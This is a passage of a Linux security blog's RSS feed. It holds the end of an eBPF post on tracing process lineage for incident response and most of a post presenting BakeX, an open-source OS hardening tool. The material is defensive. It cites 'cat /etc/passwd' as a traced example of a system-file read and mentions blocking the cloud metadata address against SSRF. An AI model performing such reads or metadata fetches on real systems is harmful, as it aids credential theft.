<p><strong>Process events don&#8217;t capture file content.</strong> You see that <code class="" data-line="">/bin/cat /etc/passwd</code> ran. You don&#8217;t see what was in <code class="" data-line="">/etc/passwd</code> at that moment unless you also capture file open/read events. Tetragon&#8217;s <code class="" data-line="">security_inode_permission</code> hook tells you which files were accessed; capturing their content requires additional hooks on <code class="" data-line="">vfs_read</code> with buffer capture, which is significantly higher overhead and requires careful data handling for sensitive files.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Live exec trace (bpftrace)</td>
<td><code class="" data-line="">bpftrace -e &#039;tracepoint:syscalls:sys_enter_execve { printf(...) }&#039;</code></td>
</tr>
<tr>
<td>Fork + exec tree</td>
<td>Combine <code class="" data-line="">sys_exit_clone</code> + <code class="" data-line="">sys_enter_execve</code> traces, correlate by pid/ppid</td>
</tr>
<tr>
<td>Tetragon process events</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_EXEC</code></td>
</tr>
<tr>
<td>Tetragon file + network</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>Process cache map</td>
<td><code class="" data-line="">bpftool map list | grep process_cache</code> → <code class="" data-line="">bpftool map dump id N</code></td>
</tr>
<tr>
<td>Map PID to pod</td>
<td><code class="" data-line="">cat /proc/&lt;pid&gt;/cgroup</code> → extract pod UID</td>
</tr>
<tr>
<td>Process exit events</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Process event</th>
<th>Kernel hook</th>
</tr>
</thead>
<tbody>
<tr>
<td>New process spawned</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_exit_clone</code> (retval &gt; 0 = child PID)</td>
</tr>
<tr>
<td>Binary executed</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_execve</code></td>
</tr>
<tr>
<td>Process exited</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
<tr>
<td>File opened</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_openat</code></td>
</tr>
<tr>
<td>Network connect</td>
<td><code class="" data-line="">kprobe:tcp_connect</code></td>
</tr>
<tr>
<td>DNS query</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_sendto</code> (port 53)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — every process spawned on a node is recorded with its parent PID, binary path, arguments, and container context, regardless of what the container does to suppress application logs</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> is the authoritative source of process identity; eBPF programs read it at hook time and snapshot the relevant fields into BPF maps before the process can exit or be killed</li>
<li>Tetragon maintains a live process tree in BPF maps, correlates it with Kubernetes metadata, and makes it queryable by pod/namespace — the record persists after the pod is restarted</li>
<li>Incident reconstruction requires correlating process lineage with file access events and network connection events, all correlated by PID and timestamp — eBPF provides all three event streams from the same kernel attachment mechanism</li>
<li>PID reuse is a real concern in high-churn environments; always pair PIDs with start time and cgroup path when correlating across events</li>
<li>Kernel-level process events cannot be suppressed by a compromised container process — an attacker with root inside the container still cannot prevent bpftrace or Tetragon running on the host from recording their syscalls</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP14 is the payoff episode for the entire series arc so far. You&#8217;ve seen programs load (EP04), maps hold state (EP05), CO-RE keep programs portable (EP06), XDP and TC enforce at the network layer (EP07, EP08), bpftrace ask one-off questions (EP09), and the observability stack collect flow, DNS, and process data continuously (EP10, EP11, EP12, EP13).</p>
<p>EP14 synthesises all of it into four commands that tell you everything about any cluster you&#8217;ve never seen before — any eBPF-based tool, any vendor, any configuration. The audit playbook is what you run in the first 10 minutes when you inherit a cluster and need to understand what&#8217;s enforcing policy at the kernel level before you can trust anything it tells you.</p>
<p><em>Next: <a href="/ebpf-audit-playbook/">the audit playbook — four commands to see any cluster</a></em></p>
<p>Get EP14 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&#038;title=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" data-a2a-url="https://linuxcent.com/ebpf-process-lineage-incident-response/" data-a2a-title="Process Lineage — Reconstructing What Happened After the Fact"></a></p><p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-process-lineage-incident-response/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1842</post-id>	</item>
		<item>
		<title>BakeX — OS Hardening as a Platform</title>
		<link>https://linuxcent.com/stratum-os-hardening-platform/</link>
					<comments>https://linuxcent.com/stratum-os-hardening-platform/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sun, 31 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[OS Image Builder]]></category>
		<category><![CDATA[BakeX]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Infrastructure as Code]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[OS Hardening]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1834</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>Stratum — open-core (Apache 2.0) OS hardening platform: declare baselines in YAML, build across six clouds, and gate CI/CD deployments on compliance grade.</p>
<p>The post <a href="https://linuxcent.com/stratum-os-hardening-platform/">BakeX — OS Hardening as a Platform</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>OS Hardening as Code, Episode 6</em><br />
<em><a href="https://linuxcent.com/cloud-ami-security-risks-custom-os-images/">Cloud AMI Security Risks</a> · <a href="/linux-hardening-as-code/">Linux Hardening as Code</a> · <a href="/linux-hardening-multi-cloud/">Multi-Cloud OS Hardening</a> · <a href="/automated-compliance-scanning-openscap/">Automated OpenSCAP Compliance</a> · <a href="/hardened-image-cicd-pipeline-gate/">CI/CD Compliance Gate</a> · </em><em>BakeX Platform</em>**</p>
<blockquote>
<p><strong>Note:</strong> this series was written when the project was called <strong>Stratum</strong>. It was renamed to<br />
<strong>BakeX</strong> at v0.6.0 — same project, same Apache 2.0 license, same team. The old<br />
<code class="" data-line="">github.com/rrskris/Stratum</code> URL redirects here, and <code class="" data-line="">pip install stratumoss</code> is retired in<br />
favour of <code class="" data-line="">pip install bakex</code>. Current home:<br />
<a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a>.</p>
</blockquote>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>BakeX is open-source under Apache 2.0 — the engine, blueprint format, scanner, and Pipeline API are all in the repository</li>
<li>Self-hostable end to end: nothing is locked to a hosted service, and there is no paid tier gating the pipeline</li>
<li>Two real extension points: <strong>provider plugins</strong> (drop-in <code class="" data-line="">.py</code> or a <code class="" data-line="">bakex.providers</code> entry point) and <strong>blueprints</strong> (pure YAML, no code)</li>
<li>Architecture: Blueprint YAML → Engine → Provider Layer → Ansible-Lockdown → OpenSCAP → Golden Image → Pipeline API</li>
<li>The series taught the user-facing interface for five episodes; EP06 covers what&#8217;s underneath and how to build on it</li>
<li>Installation is <code class="" data-line="">git clone</code> + <code class="" data-line="">docker compose up</code>, or <code class="" data-line="">pip install bakex</code> for the CLI and web app</li>
</ul>
<hr />
<h2 id="the-series-arc-inverted">The Series Arc, Inverted</h2>
<p>EP01 showed that default cloud AMIs arrive pre-broken. By the time you reach EP06, that problem has a complete solution:</p>
<pre><code class="" data-line="">EP01 — The problem:
  Default AMI → Production → Security audit finds gaps
  (unknown OS baseline, unverified hardening, no evidence)

EP06 — The solution:
  HardeningBlueprint YAML
           ↓
    bakex validate          ← EP02 (blueprint as code)
    bakex build             ← EP02
      one file per provider ← EP03 (multi-cloud)
           ↓
    OpenSCAP scan           ← EP04 (compliance grading)
    Grade: A (score 94)
           ↓
    POST /api/pipeline/scan ← EP05 (CI/CD gate)
    passed: true
           ↓
    Production deployment
    (Grade A, SARIF attached, blueprint version-controlled)
</code></pre>
<p>For five episodes, you&#8217;ve used BakeX as a user. This episode covers what it looks like to run it yourself, extend it, and build on it.</p>
<hr />
<p>I&#8217;ve spent years watching infrastructure teams solve the same OS hardening problem in slightly different ways. Custom scripts that drift. OpenSCAP runs that produce evidence no one reads. Compliance checklists completed by humans who have competing priorities.</p>
<p>The tools exist. <code class="" data-line="">ansible-lockdown</code> applies CIS controls reliably. OpenSCAP verifies them accurately. The CI/CD systems can enforce anything you can express as a pass/fail. The gap isn&#8217;t the tooling — it&#8217;s the integration layer that ties them together into a reproducible, auditable pipeline.</p>
<p>BakeX is that integration layer, open-sourced.</p>
<p>The philosophy is the same as Terraform applied to OS security posture: declare the desired state in a version-controlled file, apply it reproducibly, and verify it automatically. The skip-at-2am problem disappears not because engineers are more careful, but because there&#8217;s no step to skip.</p>
<hr />
<h2 id="the-architecture">The Architecture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────┐
│                 HardeningBlueprint YAML                  │
│         (version-controlled, provider-agnostic)          │
└─────────────────────┬───────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────────────────┐
│                    BakeX Engine                          │
│                  (Apache 2.0, OSS)                       │
│  ┌─────────────┐  ┌──────────────┐  ┌────────────────┐  │
│  │  Blueprint  │  │   Provider   │  │    Scheduler   │  │
│  │   Parser    │  │    Layer     │  │  (parallel     │  │
│  │             │  │  AWS  GCP    │  │   multi-cloud  │  │
│  │  Validates  │  │  Azure DO    │  │   builds)      │  │
│  │  schema +   │  │  Linode      │  │                │  │
│  │  overrides  │  │  Proxmox     │  │                │  │
│  └─────────────┘  └──────────────┘  └────────────────┘  │
└─────────────────────┬───────────────────────────────────┘
                      │
           ┌──────────┴──────────┐
           ▼                     ▼
  ┌─────────────────┐   ┌─────────────────┐
  │ Ansible-Lockdown │   │  OpenSCAP       │
  │  Runner          │   │  Scanner        │
  │                  │   │                 │
  │  UBUNTU22-CIS    │   │  A-F grade      │
  │  RHEL8-STIG      │   │  SARIF export   │
  │  Custom roles    │   │  Drift detect   │
  └────────┬─────────┘   └────────┬────────┘
           │                      │
           └──────────┬───────────┘
                      │
                      ▼
         ┌─────────────────────────┐
         │   Golden Image          │
         │   (AMI / GCP / Azure)   │
         │   + compliance metadata │
         └────────────┬────────────┘
                      │
                      ▼
         ┌─────────────────────────┐
         │   Pipeline API          │
         │   (Apache 2.0, OSS)     │
         │                         │
         │  POST /api/pipeline/scan │
         │  ← CI/CD gate           │
         └─────────────────────────┘
</code></pre>
<p>Every component is open-source under Apache 2.0. The engine, provider layer, Ansible runner, OpenSCAP scanner, and Pipeline API are all in the repository. Nothing is locked to a hosted service.</p>
<hr />
<h2 id="installation">Installation</h2>
<p>Three ways in, depending on how much you want installed on the host.</p>
<p><strong>Docker Compose — recommended, everything preinstalled:</strong></p>
<pre><code class="" data-line="">git clone https://github.com/invicton/bakex.git
cd bakex
docker compose up
</code></pre>
<p>Open <strong>http://localhost:8001</strong>. Log in with any username and the admin token as the password —<br />
it&#8217;s generated on first start and written to <code class="" data-line="">data/.admin_token</code>. Set <code class="" data-line="">BAKEX_ADMIN_TOKEN</code> and<br />
<code class="" data-line="">BAKEX_SECRET_KEY</code> in <code class="" data-line="">docker-compose.yml</code> if you want logins that survive a rebuild.</p>
<p>Compose mounts <code class="" data-line="">~/.aws</code>, <code class="" data-line="">~/.config/gcloud</code>, and <code class="" data-line="">~/.ssh</code> read-only, plus persistent <code class="" data-line="">./data</code>,<br />
<code class="" data-line="">./profiles</code>, and <code class="" data-line="">./plugins/providers</code>. That last mount is the one to notice — it&#8217;s the<br />
drop-in directory for provider plugins, which matters in the next section.</p>
<p><strong>Published image:</strong></p>
<pre><code class="" data-line="">docker run -p 8000:8000 rrskris/bakex:latest
</code></pre>
<p><strong>PyPI — CLI and web app:</strong></p>
<pre><code class="" data-line="">pip install &quot;bakex[all-providers]&quot;   # or pick extras: aws, gcp, azure, linode, digitalocean, proxmox
bakex serve --port 8000
</code></pre>
<p>One caveat worth stating plainly rather than letting you discover it: the extras install each<br />
provider&#8217;s cloud SDK, and Ansible and OpenSCAP must be present on the host for real builds. If you<br />
want the batteries-included path, use Compose. <code class="" data-line="">bakex validate</code> works anywhere with no host<br />
dependencies at all.</p>
<p>There is no Helm chart. BakeX is a build tool that talks to cloud APIs, not a cluster workload —<br />
it does not need to live in Kubernetes to harden images for it.</p>
<hr />
<h2 id="the-three-extension-points">The Three Extension Points</h2>
<h3 id="1-blueprints-the-extension-point-with-no-code-in-it">1. Blueprints — the extension point with no code in it</h3>
<p>The highest-leverage way to extend BakeX isn&#8217;t Python. It&#8217;s a YAML file.</p>
<p>A blueprint is a complete, self-contained description of a hardened OS on a specific provider,<br />
and the library ships 18 of them. Adding the nineteenth — say Ubuntu 24.04, or CIS Level 2 for a<br />
distro that only has Level 1 today — requires no engine changes, because the benchmark, profile,<br />
and datastream are just strings handed to <code class="" data-line="">oscap</code>.</p>
<p>The full format is published as a JSON Schema (Draft 2020-12) at<br />
<code class="" data-line="">docs/schema/hardening-blueprint.schema.json</code>. Point your editor at it for autocomplete and<br />
inline validation, or hand it to an LLM and let it draft the blueprint — the schema was published<br />
partly so that agents could write these correctly without reading the source.</p>
<p>The loop is short enough to run in a coffee break:</p>
<pre><code class="" data-line="">$EDITOR blueprints/ubuntu/24.04/cis-l1-aws.yaml
bakex validate blueprints/ubuntu/24.04/cis-l1-aws.yaml
</code></pre>
<p>Validation is offline and checks more than syntax — it rejects OS/provider combinations the<br />
catalog doesn&#8217;t support, so you find out that a distro isn&#8217;t available on your target cloud in<br />
milliseconds rather than fifteen minutes into a paid build.</p>
<h3 id="2-provider-plugins">2. Provider Plugins</h3>
<p>Adding a cloud means implementing four methods. That&#8217;s the whole interface<br />
(<code class="" data-line="">bakex/plugins/base_provider.py</code>):</p>
<pre><code class="" data-line=""># plugins/providers/my_cloud.py
from bakex.plugins.base_provider import BaseProvider, ProviderResult
from bakex.core.models import ComplianceProfile

class MyCloudProvider(BaseProvider):
    name = &quot;my-cloud&quot;          # matches target.provider in a blueprint

    def provision(self, profile: ComplianceProfile, **kwargs) -&gt; str:
        &quot;&quot;&quot;Launch a build instance; return its instance ID.&quot;&quot;&quot;
        ...

    def run_ansible(self, instance_id: str, profile: ComplianceProfile) -&gt; None:
        &quot;&quot;&quot;Apply the Ansible-Lockdown hardening roles.&quot;&quot;&quot;
        ...

    def snapshot(self, instance_id: str, profile: ComplianceProfile) -&gt; ProviderResult:
        &quot;&quot;&quot;Capture the golden image; return the artifact ID.&quot;&quot;&quot;
        ...

    def teardown(self, instance_id: str) -&gt; None:
        &quot;&quot;&quot;Destroy the ephemeral build instance.&quot;&quot;&quot;
        ...
</code></pre>
<p>There is no registration command. The loader (<code class="" data-line="">bakex/plugins/loader.py</code>) is hybrid and finds<br />
plugins two ways:</p>
<ol>
<li><strong>Drop-in</strong> — put the <code class="" data-line="">.py</code> file in <code class="" data-line="">plugins/providers/</code>. That directory is a Compose volume<br />
   mount, so a plugin dropped there is live in the container without rebuilding an image.</li>
<li><strong>Entry point</strong> — ship a pip-installable package declaring a <code class="" data-line="">bakex.providers</code> entry point.<br />
   This is how a third party distributes a provider without touching the BakeX repo.</li>
</ol>
<p>Entry points load first and drop-ins load second, so a local file deliberately shadows an<br />
installed package of the same name — which is exactly what you want when debugging someone<br />
else&#8217;s provider.</p>
<p>The plugin becomes usable by writing <code class="" data-line="">provider: my-cloud</code> in a blueprint&#8217;s <code class="" data-line="">target</code> block. There<br />
is no <code class="" data-line="">--provider</code> flag to pass, because there is no <code class="" data-line="">--provider</code> flag anywhere.</p>
<p>One honest note on the validation interaction from EP02: the compatibility check only objects<br />
when <em>both</em> the OS and the provider are in the catalog. An unknown provider is assumed to be a<br />
valid third-party plugin rather than an error — existence is the plugin registry&#8217;s call at build<br />
time, compatibility is validation&#8217;s. That&#8217;s what makes shipping a provider out-of-tree possible<br />
at all.</p>
<h3 id="3-pipeline-integrations">3. Pipeline Integrations</h3>
<p>Beyond the curl-based gate from EP05, BakeX has a webhook system. Webhooks are registered through<br />
the API rather than a config file, so they can be managed by the same automation that manages<br />
everything else:</p>
<pre><code class="" data-line="">curl -X POST http://localhost:8001/api/webhooks \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;url&quot;: &quot;https://hooks.slack.com/services/…&quot;,
    &quot;events&quot;: [&quot;build.failed&quot;, &quot;scan.grade_change&quot;],
    &quot;label&quot;: &quot;platform-security alerts&quot;
  }&#039;
</code></pre>
<p>Five events fire: <code class="" data-line="">build.complete</code>, <code class="" data-line="">build.failed</code>, <code class="" data-line="">scan.complete</code>, <code class="" data-line="">scan.failed</code>, and<br />
<code class="" data-line="">scan.grade_change</code>. Registering an unknown event name is a 422 rather than a silent no-op —<br />
a small thing that saves an afternoon.</p>
<p><code class="" data-line="">scan.grade_change</code> is the one to wire up first. A build that fails is loud on its own; a base<br />
image that quietly slid from A to B between two scans is the signal nobody notices.</p>
<p>Deliveries are signed. The registration response returns a secret <strong>once</strong>, and every request<br />
carries an <code class="" data-line="">X-BakeX-Signature: sha256=…</code> HMAC so the receiver can verify the payload came from<br />
your BakeX instance and not from anyone who guessed the endpoint URL.</p>
<p>There&#8217;s a defensive detail here that&#8217;s worth calling out, because it&#8217;s the kind of thing that<br />
usually ships broken: webhook target URLs are checked against loopback, private, link-local, and<br />
reserved ranges — including <code class="" data-line="">169.254.169.254</code> — and they&#8217;re <strong>re-resolved at send time</strong>, not just<br />
at registration. A user-configurable URL that the server will fetch is a textbook SSRF into the<br />
cloud metadata endpoint, and on a tool that holds cloud credentials that would be a very bad day.</p>
<hr />
<h2 id="the-open-core-model">The Open-Core Model</h2>
<p>BakeX sits alongside the tools that became infrastructure standards by being genuinely usable<br />
before they were commercial:</p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Model</th>
</tr>
</thead>
<tbody>
<tr>
<td>Terraform / OpenTofu</td>
<td>Core OSS, enterprise features in paid tier</td>
</tr>
<tr>
<td>Cilium / Isovalent</td>
<td>Core OSS, enterprise support/features in paid tier</td>
</tr>
<tr>
<td>Vault / HCP Vault</td>
<td>Core OSS, hosted/enterprise in paid tier</td>
</tr>
<tr>
<td><strong>BakeX</strong></td>
<td>Engine + blueprint + scanner + Pipeline API: Apache 2.0, no paid tier today</td>
</tr>
</tbody>
</table>
<p>Everything taught in this series — the blueprint format, the build pipeline, the compliance<br />
grading, the CI/CD gate — is in the repository. There is no feature held back, because there is<br />
currently nothing to hold it back <em>for</em>. Self-host it, extend it, fork it.</p>
<p>Worth being straight about where the project actually is: BakeX is young. It has signed releases,<br />
SBOMs and provenance attestations, an OpenSSF Scorecard, a published JSON Schema, and over a<br />
thousand tests — the engineering is in good order. What it does not yet have is users. If you&#8217;re<br />
reading this and the shape of the tool fits your problem, you would be early, and early is when<br />
your opinion changes the design.</p>
<p>The repository is at: <strong><a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a></strong></p>
<hr />
<h2 id="what-this-series-taught">What This Series Taught</h2>
<p>EP01 — EP06 in one view:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>What you learned</th>
<th>What BakeX does</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP01</td>
<td>Default AMIs are insecure by design</td>
<td>Replaces the default AMI with a hardened golden image</td>
</tr>
<tr>
<td>EP02</td>
<td>Blueprint as code — the 2am skip disappears</td>
<td>HardeningBlueprint YAML, <code class="" data-line="">bakex validate</code> / <code class="" data-line="">bakex build</code></td>
</tr>
<tr>
<td>EP03</td>
<td>One posture, six providers, no drift</td>
<td>18 shipped blueprints; only <code class="" data-line="">target</code> differs across providers</td>
</tr>
<tr>
<td>EP04</td>
<td>Automated OpenSCAP — grade at build time</td>
<td>A–F from the XCCDF score, SARIF 2.1.0 export, baseline compare</td>
</tr>
<tr>
<td>EP05</td>
<td>CI/CD gate — the unhardened image never deploys</td>
<td>Pipeline API: <code class="" data-line="">POST /api/pipeline/scan</code>, parse <code class="" data-line="">.passed</code></td>
</tr>
<tr>
<td>EP06</td>
<td>The platform — OSS, self-hostable, extendable</td>
<td>Apache 2.0, Compose install, blueprints + provider plugins</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This series closes the OS hardening gap. The same principle — declare desired state, build<br />
reproducibly, verify automatically — applies to every layer of your infrastructure.</p>
<h3 id="write-the-next-blueprint">Write the next blueprint</h3>
<p>The most useful thing you can do with what this series taught is add a blueprint, and it is<br />
genuinely pure YAML — no Python, no engine changes, no build system to learn.</p>
<p>You&#8217;ve spent five episodes on Ubuntu 22.04 CIS Level 1. The natural next one is Level 2 for the<br />
same OS: <a href="https://github.com/invicton/bakex/issues/1"><strong>#1 — Ubuntu 22.04 CIS Level 2</strong></a>. The<br />
issue carries the acceptance criteria and the exact verify command, and the review loop is<br />
<code class="" data-line="">bakex validate</code> returning 0.</p>
<p>If a different distro is closer to what you actually run, the whole set is filed and labelled:<br />
<a href="https://github.com/invicton/bakex/issues?q=is%3Aissue+is%3Aopen+label%3Ablueprint"><strong>good first issues, <code class="" data-line="">blueprint</code> label</strong></a>.<br />
RHEL 9, AlmaLinux 9, Rocky 9, Debian 12, and Amazon Linux 2023 all have gaps. Each one is one<br />
file, and each is the sort of contribution that takes an evening.</p>
<p>GitHub: <a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a></p>
<h3 id="elsewhere-on-the-blog">Elsewhere on the blog</h3>
<p>If you&#8217;ve been following the <a href="/ebpf-series/">eBPF: From Kernel to Cloud series</a>,<br />
EP10 covers what happens when you combine kernel-level observability with the hardened base BakeX<br />
produces: every connection, every process spawn, every file access — visible from the host kernel,<br />
on an OS baseline you can verify.</p>
<p>The next series is the <strong>Purple Team Playbook</strong> — real attack paths against cloud and Kubernetes<br />
infrastructure, how they&#8217;re detected, and how they&#8217;re closed.</p>
<p>Get new episodes in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" 